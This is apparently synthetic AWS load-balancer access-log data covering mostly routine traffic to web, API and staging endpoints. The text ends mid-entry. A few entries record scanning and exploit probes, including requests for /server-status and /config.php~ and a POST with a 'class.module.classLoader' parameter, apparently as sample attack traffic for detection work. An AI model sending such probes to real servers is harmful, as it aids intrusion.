"forward" "-" "-" "237.251.190.192:443" "200" "-" "-" +https 2024-11-01T01:51:34.146126Z staging-alb 12.197.111.115:35501 175.203.193.254:80 0.023428 0.661382 0.144680 200 200 241 735 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1b6-f31e81603320489496813b0e" "staging-alb.example.com" "-" 9 2024-11-01T01:51:34.146126Z "forward" "-" "-" "175.203.193.254:80" "200" "-" "-" +https 2024-11-01T01:51:35.369354Z prod-web-alb 218.186.37.110:47236 10.0.182.147:443 0.063491 0.175147 0.089642 200 200 520 1634 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1b7-18f6110a6716493fa6768561" "prod-web-alb.example.com" "-" 8 2024-11-01T01:51:35.369354Z "forward" "-" "-" "10.0.182.147:443" "200" "-" "-" +https 2024-11-01T01:51:37.154974Z prod-api-alb 89.103.41.190:16659 10.0.107.108:443 0.085825 0.021417 0.051584 200 200 960 4246 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1b9-77df521c0a384423a03c6666" "prod-api-alb.example.com" "-" 5 2024-11-01T01:51:37.154974Z "forward" "-" "-" "10.0.107.108:443" "200" "-" "-" +https 2024-11-01T01:51:38.365266Z prod-api-alb 189.167.21.55:32845 10.0.35.82:443 0.095886 0.026273 0.061318 200 200 176 1384 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1ba-6bf79be865914eb2a25385af" "prod-api-alb.example.com" "-" 6 2024-11-01T01:51:38.365266Z "forward" "-" "-" "10.0.35.82:443" "200" "-" "-" +https 2024-11-01T01:51:39.645531Z prod-api-alb 45.167.53.14:54862 10.0.204.22:443 0.055960 0.023257 0.056582 200 200 409 3588 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1bb-fe0a8d4303744a34a1ba6ddd" "prod-api-alb.example.com" "-" 8 2024-11-01T01:51:39.645531Z "forward" "-" "-" "10.0.204.22:443" "200" "-" "-" +https 2024-11-01T01:51:39.985653Z prod-web-alb 129.84.245.116:57232 10.0.131.118:443 0.032086 0.381254 0.060372 301 301 344 14808 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1bb-6426c24ab47f486bbe9e7b0b" "prod-web-alb.example.com" "-" 6 2024-11-01T01:51:39.985653Z "forward" "-" "-" "10.0.131.118:443" "301" "-" "-" +https 2024-11-01T01:51:41.287826Z prod-api-alb 192.215.87.150:60846 10.0.133.241:443 0.038621 0.458501 0.058056 302 302 549 14232 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1bd-8ccda1ddaaa044b483988f86" "prod-api-alb.example.com" "-" 6 2024-11-01T01:51:41.287826Z "forward" "-" "-" "10.0.133.241:443" "302" "-" "-" +https 2024-11-01T01:51:41.477433Z prod-web-alb 191.157.188.108:53223 10.0.223.227:443 0.086098 0.134727 0.000337 200 200 146 7380 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1bd-b45a0784f76d499eaf9ae47c" "prod-web-alb.example.com" "-" 8 2024-11-01T01:51:41.477433Z "forward" "-" "-" "10.0.223.227:443" "200" "-" "-" +http 2024-11-01T01:51:43.294147Z staging-alb 63.132.133.50:56979 156.2.178.237:80 0.057476 0.541233 0.137670 200 200 14 14908 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1bf-0c020b1b6b7740a9ba125256" "staging-alb.example.com" "-" 1 2024-11-01T01:51:43.294147Z "forward" "-" "-" "156.2.178.237:80" "200" "-" "-" +https 2024-11-01T01:51:44.617213Z prod-api-alb 174.144.240.124:24902 10.0.82.146:443 0.013903 0.175000 0.034245 200 200 92 458 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1c0-118ebfbaa5c74c579c48de46" "prod-api-alb.example.com" "-" 3 2024-11-01T01:51:44.617213Z "forward" "-" "-" "10.0.82.146:443" "200" "-" "-" +https 2024-11-01T01:51:45.822880Z prod-web-alb 89.58.247.92:44648 10.0.193.196:443 0.027245 0.069191 0.020325 404 404 384 3726 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1c1-6d2170afc74b4076a9faaec1" "prod-web-alb.example.com" "-" 3 2024-11-01T01:51:45.822880Z "forward" "-" "-" "10.0.193.196:443" "404" "-" "-" +https 2024-11-01T01:51:46.255413Z prod-web-alb 15.152.21.43:21315 10.0.138.44:443 0.056358 0.238880 0.020220 200 200 592 5515 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1c2-4e74f26f40ca49e99b8af683" "prod-web-alb.example.com" "-" 5 2024-11-01T01:51:46.255413Z "forward" "-" "-" "10.0.138.44:443" "200" "-" "-" +https 2024-11-01T01:51:47.119524Z staging-alb 219.32.0.59:51938 157.253.117.197:8080 0.063084 0.504270 0.115235 200 200 54 6352 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1c3-69bb41d9072e49e5b8a6fe01" "staging-alb.example.com" "-" 9 2024-11-01T01:51:47.119524Z "forward" "-" "-" "157.253.117.197:8080" "200" "-" "-" +http 2024-11-01T01:51:48.809273Z staging-alb 192.238.177.9:48675 88.170.2.151:80 0.087207 0.397760 0.047995 200 200 938 4527 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1c4-d16294352b9d49a799953d86" "staging-alb.example.com" "-" 4 2024-11-01T01:51:48.809273Z "forward" "-" "-" "88.170.2.151:80" "200" "-" "-" +https 2024-11-01T01:51:49.881563Z prod-web-alb 6.225.152.108:16718 10.0.55.27:443 0.088518 0.482655 0.079504 200 200 29 3693 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1c5-8ab1f0d544d346febf33041e" "prod-web-alb.example.com" "-" 3 2024-11-01T01:51:49.881563Z "forward" "-" "-" "10.0.55.27:443" "200" "-" "-" +https 2024-11-01T01:51:50.461859Z prod-api-alb 204.157.250.113:20446 10.0.122.160:443 0.012233 0.097979 0.081103 200 200 831 8459 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1c6-819f3e83585a42d29078d70c" "prod-api-alb.example.com" "-" 7 2024-11-01T01:51:50.461859Z "forward" "-" "-" "10.0.122.160:443" "200" "-" "-" +https 2024-11-01T01:51:50.645489Z prod-web-alb 15.28.250.238:15617 10.0.82.144:443 0.027920 0.085202 0.000575 200 200 128 3168 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1c6-f099e94a73e14cbcb5ad4055" "prod-web-alb.example.com" "-" 10 2024-11-01T01:51:50.645489Z "forward" "-" "-" "10.0.82.144:443" "200" "-" "-" +https 2024-11-01T01:51:51.807771Z prod-web-alb 26.118.97.200:47496 10.0.64.129:443 0.033027 0.132915 0.004881 404 404 487 7582 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1c7-3b9cf574188d4115a8924307" "prod-web-alb.example.com" "-" 8 2024-11-01T01:51:51.807771Z "forward" "-" "-" "10.0.64.129:443" "404" "-" "-" +https 2024-11-01T01:51:52.487654Z prod-api-alb 85.172.144.66:62078 10.0.146.93:443 0.015089 0.277081 0.048922 200 200 753 13665 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1c8-dd584c9dacbb42fd976b9815" "prod-api-alb.example.com" "-" 10 2024-11-01T01:51:52.487654Z "forward" "-" "-" "10.0.146.93:443" "200" "-" "-" +https 2024-11-01T01:51:53.369316Z prod-web-alb 102.135.106.127:26114 10.0.173.174:443 0.035054 0.226223 0.095212 200 200 172 1747 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1c9-c4be4bc0e108442f8e9d1b50" "prod-web-alb.example.com" "-" 1 2024-11-01T01:51:53.369316Z "forward" "-" "-" "10.0.173.174:443" "200" "-" "-" +http 2024-11-01T01:51:53.940830Z staging-alb 242.208.247.173:49804 139.170.251.19:8080 0.109376 0.650674 0.102757 302 302 788 1894 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1c9-4ddfa527b37a4e959d911d4a" "staging-alb.example.com" "-" 2 2024-11-01T01:51:53.940830Z "forward" "-" "-" "139.170.251.19:8080" "302" "-" "-" +https 2024-11-01T01:51:55.025020Z prod-api-alb 131.92.187.191:58872 10.0.125.249:443 0.050819 0.404968 0.099661 301 301 121 7670 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1cb-feaaf5fd911a48fc817f0898" "prod-api-alb.example.com" "-" 9 2024-11-01T01:51:55.025020Z "forward" "-" "-" "10.0.125.249:443" "301" "-" "-" +https 2024-11-01T01:51:56.896504Z staging-alb 95.88.16.110:12585 74.117.7.123:443 0.133155 0.609128 0.102593 301 301 226 1082 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1cc-664eb444fc954f149464a3ab" "staging-alb.example.com" "-" 6 2024-11-01T01:51:56.896504Z "forward" "-" "-" "74.117.7.123:443" "301" "-" "-" +https 2024-11-01T01:51:58.446248Z prod-api-alb 193.27.228.139:27721 10.0.125.36:443 0.005882 0.493433 0.056373 403 403 495 8421 "POST /server-status HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1ce-0fc9a7d9914242c8aa15706b" "-" "-" 9 2024-11-01T01:51:58.446248Z "forward" "-" "-" "10.0.125.36:443" "403" "-" "-" +https 2024-11-01T01:51:59.932658Z prod-web-alb 92.111.149.203:49632 10.0.66.200:443 0.073210 0.145968 0.069147 404 404 277 6254 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1cf-6448311463ef40559ebb2be2" "prod-web-alb.example.com" "-" 0 2024-11-01T01:51:59.932658Z "forward" "-" "-" "10.0.66.200:443" "404" "-" "-" +https 2024-11-01T01:52:00.531051Z prod-web-alb 230.126.84.52:53667 10.0.31.106:443 0.043021 0.382292 0.094644 200 200 489 5850 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1d0-0e4c004c6d434767a2f1175e" "prod-web-alb.example.com" "-" 8 2024-11-01T01:52:00.531051Z "forward" "-" "-" "10.0.31.106:443" "200" "-" "-" +https 2024-11-01T01:52:02.218339Z staging-alb 87.102.250.230:36491 220.57.6.96:443 0.073871 0.123584 0.007692 200 200 165 7971 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1d2-a815eedbd9c94a9190d9a028" "staging-alb.example.com" "-" 3 2024-11-01T01:52:02.218339Z "forward" "-" "-" "220.57.6.96:443" "200" "-" "-" +https 2024-11-01T01:52:03.054728Z prod-api-alb 249.1.160.168:14295 10.0.212.238:443 0.019988 0.198506 0.004894 200 200 588 3748 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1d3-5b0edc3042a049138e2e2b5e" "prod-api-alb.example.com" "-" 7 2024-11-01T01:52:03.054728Z "forward" "-" "-" "10.0.212.238:443" "200" "-" "-" +https 2024-11-01T01:52:04.361186Z prod-api-alb 123.132.122.120:45469 10.0.14.235:443 0.057543 0.191199 0.066813 200 200 529 8782 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1d4-c21eeb199ecb4728af39018f" "prod-api-alb.example.com" "-" 5 2024-11-01T01:52:04.361186Z "forward" "-" "-" "10.0.14.235:443" "200" "-" "-" +https 2024-11-01T01:52:04.550463Z prod-web-alb 45.155.205.233:29129 10.0.240.224:443 0.088484 0.194843 0.068128 401 401 903 2691 "POST /config.php~ HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1d4-ed818cac11e84229a3b89741" "-" "-" 0 2024-11-01T01:52:04.550463Z "forward" "-" "-" "10.0.240.224:443" "401" "-" "-" +https 2024-11-01T01:52:06.334758Z prod-web-alb 193.27.228.118:40387 10.0.64.210:443 0.099539 0.046502 0.035966 500 500 287 902 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1d6-6166397dbf9b4beeaa817612" "-" "-" 4 2024-11-01T01:52:06.334758Z "forward" "-" "-" "10.0.64.210:443" "500" "-" "-" +http 2024-11-01T01:52:08.057957Z staging-alb 241.206.45.246:40223 113.94.225.221:8080 0.085610 0.694954 0.024607 301 301 22 9303 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1d8-0c5af091b1354cfdb3bffd00" "staging-alb.example.com" "-" 5 2024-11-01T01:52:08.057957Z "forward" "-" "-" "113.94.225.221:8080" "301" "-" "-" +https 2024-11-01T01:52:09.383453Z staging-alb 201.39.245.72:28145 24.120.0.30:443 0.134179 0.353168 0.051509 301 301 892 14271 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1d9-aab8ab4e8e4448d1b3fd44e2" "-" "-" 8 2024-11-01T01:52:09.383453Z "forward" "-" "-" "24.120.0.30:443" "301" "-" "-" +https 2024-11-01T01:52:10.088941Z staging-alb 162.219.167.75:31783 222.53.86.31:8080 0.142263 0.612919 0.019865 200 200 457 3367 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1da-1b6d1eb52e8b4fd7a2a5f21f" "-" "-" 3 2024-11-01T01:52:10.088941Z "forward" "-" "-" "222.53.86.31:8080" "200" "-" "-" +https 2024-11-01T01:52:10.750800Z staging-alb 170.11.198.128:39244 108.156.183.148:8080 0.128071 0.467845 0.134146 302 302 965 2758 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1da-c32b0396e74440fb96a5d882" "staging-alb.example.com" "-" 5 2024-11-01T01:52:10.750800Z "forward" "-" "-" "108.156.183.148:8080" "302" "-" "-" +https 2024-11-01T01:52:12.419510Z prod-api-alb 111.45.141.57:63692 10.0.53.153:443 0.089355 0.167492 0.086965 301 301 697 9670 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1dc-548172378cc14815949503cb" "prod-api-alb.example.com" "-" 10 2024-11-01T01:52:12.419510Z "forward" "-" "-" "10.0.53.153:443" "301" "-" "-" +https 2024-11-01T01:52:13.393389Z prod-web-alb 93.5.178.229:52618 10.0.30.161:443 0.077856 0.010798 0.040176 200 200 721 3089 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1dd-162b13b396e147d5a02f72f3" "prod-web-alb.example.com" "-" 3 2024-11-01T01:52:13.393389Z "forward" "-" "-" "10.0.30.161:443" "200" "-" "-" +https 2024-11-01T01:52:14.239795Z prod-web-alb 25.220.219.146:21009 10.0.129.185:443 0.007127 0.196890 0.072654 200 200 160 3537 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1de-dec867d4e7d6493cb3130a20" "prod-web-alb.example.com" "-" 1 2024-11-01T01:52:14.239795Z "forward" "-" "-" "10.0.129.185:443" "200" "-" "-" +https 2024-11-01T01:52:14.943440Z prod-web-alb 182.253.172.124:40141 10.0.13.99:443 0.042161 0.037949 0.036365 200 200 636 3610 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1de-7d5d9e54cf4540f0b9debf3c" "prod-web-alb.example.com" "-" 1 2024-11-01T01:52:14.943440Z "forward" "-" "-" "10.0.13.99:443" "200" "-" "-" +https 2024-11-01T01:52:16.458576Z prod-api-alb 42.5.159.223:31837 10.0.6.7:443 0.081211 0.128767 0.083274 200 200 727 7186 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1e0-9f7d0a1d9b6c40778f411625" "prod-api-alb.example.com" "-" 8 2024-11-01T01:52:16.458576Z "forward" "-" "-" "10.0.6.7:443" "200" "-" "-" +https 2024-11-01T01:52:17.467695Z prod-web-alb 5.67.113.168:43506 10.0.43.251:443 0.024129 0.396934 0.098059 301 301 860 6337 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1e1-d080495c71734abbafb2dc64" "prod-web-alb.example.com" "-" 8 2024-11-01T01:52:17.467695Z "forward" "-" "-" "10.0.43.251:443" "301" "-" "-" +https 2024-11-01T01:52:17.791427Z prod-api-alb 235.156.226.189:52165 10.0.202.89:443 0.072353 0.392368 0.082749 200 200 427 10132 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1e1-c47c65a1c26e47f9853e2f45" "prod-api-alb.example.com" "-" 9 2024-11-01T01:52:17.791427Z "forward" "-" "-" "10.0.202.89:443" "200" "-" "-" +https 2024-11-01T01:52:19.445881Z prod-web-alb 39.133.24.234:63429 10.0.3.246:443 0.023248 0.132776 0.043559 301 301 986 3117 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1e3-8215581ffb9d4e128db98f17" "prod-web-alb.example.com" "-" 4 2024-11-01T01:52:19.445881Z "forward" "-" "-" "10.0.3.246:443" "301" "-" "-" +https 2024-11-01T01:52:19.930610Z prod-web-alb 105.170.253.93:35367 10.0.96.51:443 0.073110 0.061010 0.041578 302 302 504 11213 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1e3-cd59dd1306f44d59a182e322" "prod-web-alb.example.com" "-" 10 2024-11-01T01:52:19.930610Z "forward" "-" "-" "10.0.96.51:443" "302" "-" "-" +https 2024-11-01T01:52:20.405612Z prod-web-alb 42.201.94.181:44417 10.0.99.236:443 0.095921 0.235213 0.047674 200 200 698 9684 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1e4-71a91d861c784aa983139152" "prod-web-alb.example.com" "-" 6 2024-11-01T01:52:20.405612Z "forward" "-" "-" "10.0.99.236:443" "200" "-" "-" +https 2024-11-01T01:52:21.575929Z staging-alb 121.131.166.202:30260 45.218.156.163:443 0.105986 0.547398 0.088379 200 200 35 9298 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1e5-21d9d6b08b8b4346b053b2f7" "staging-alb.example.com" "-" 4 2024-11-01T01:52:21.575929Z "forward" "-" "-" "45.218.156.163:443" "200" "-" "-" +https 2024-11-01T01:52:21.892786Z prod-api-alb 59.233.57.193:35456 10.0.197.13:443 0.008142 0.023212 0.066461 301 301 54 10085 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" 